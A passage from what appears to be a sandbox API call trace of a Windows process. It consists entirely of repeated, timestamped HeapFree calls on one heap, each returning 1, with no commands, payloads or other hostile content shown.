out: hHeap=0x510000) returned 1 [0143.459] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.459] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.460] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.461] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.462] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.463] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.463] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.463] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.463] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.463] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.464] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.464] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.465] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.465] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0143.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.466] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0143.469] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.470] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0143.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.536] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.538] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.540] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.541] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.541] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.542] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.542] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.543] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.543] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.544] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.548] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.548] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.548] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.549] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.549] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.550] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.551] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.552] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.552] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.553] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.554] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.555] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.555] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.556] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.557] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.558] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.559] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0143.566] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.566] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.567] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0143.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.960] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.960] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.960] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.971] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.975] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.975] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.976] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.978] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.980] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.981] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.981] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.987] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.987] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.988] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.988] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.989] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.989] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.989] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.990] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.991] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.992] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.992] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.992] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.992] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.992] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.993] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.994] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0143.994] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0143.994] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0143.994] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0144.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.054] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.054] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.054] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.070] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.071] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.071] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.073] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.074] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.077] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.078] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.079] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.194] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0144.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.199] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.200] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.200] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.341] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.345] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.346] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.347] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.348] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.396] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.396] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.397] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.397] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.404] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.541] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.621] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.622] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.622] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.623] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.624] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.625] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.625] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.625] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.626] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.626] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.627] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.628] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.629] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.630] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.630] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.630] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.631] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52f0068 | out: hHeap=0x510000) returned 1 [0144.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0144.640] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.701] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0144.701] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.856] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5320080 | out: hHeap=0x510000) returned 1 [0144.856] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5310078 | out: hHeap=0x510000) returned 1 [0144.856] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5310078 | out: hHeap=0x510000) returned 1 [0144.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5300070 | out: hHeap=0x510000) returned 1 [0144.874] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.876] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52b0048 | out: hHeap=0x510000) returned 1 [0144.889] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.891] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0144.892] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.892] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.893] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.896] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.897] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.898] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.898] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.899] HeapFree (in: hHeap=0x510000, dwFlags=0x0, 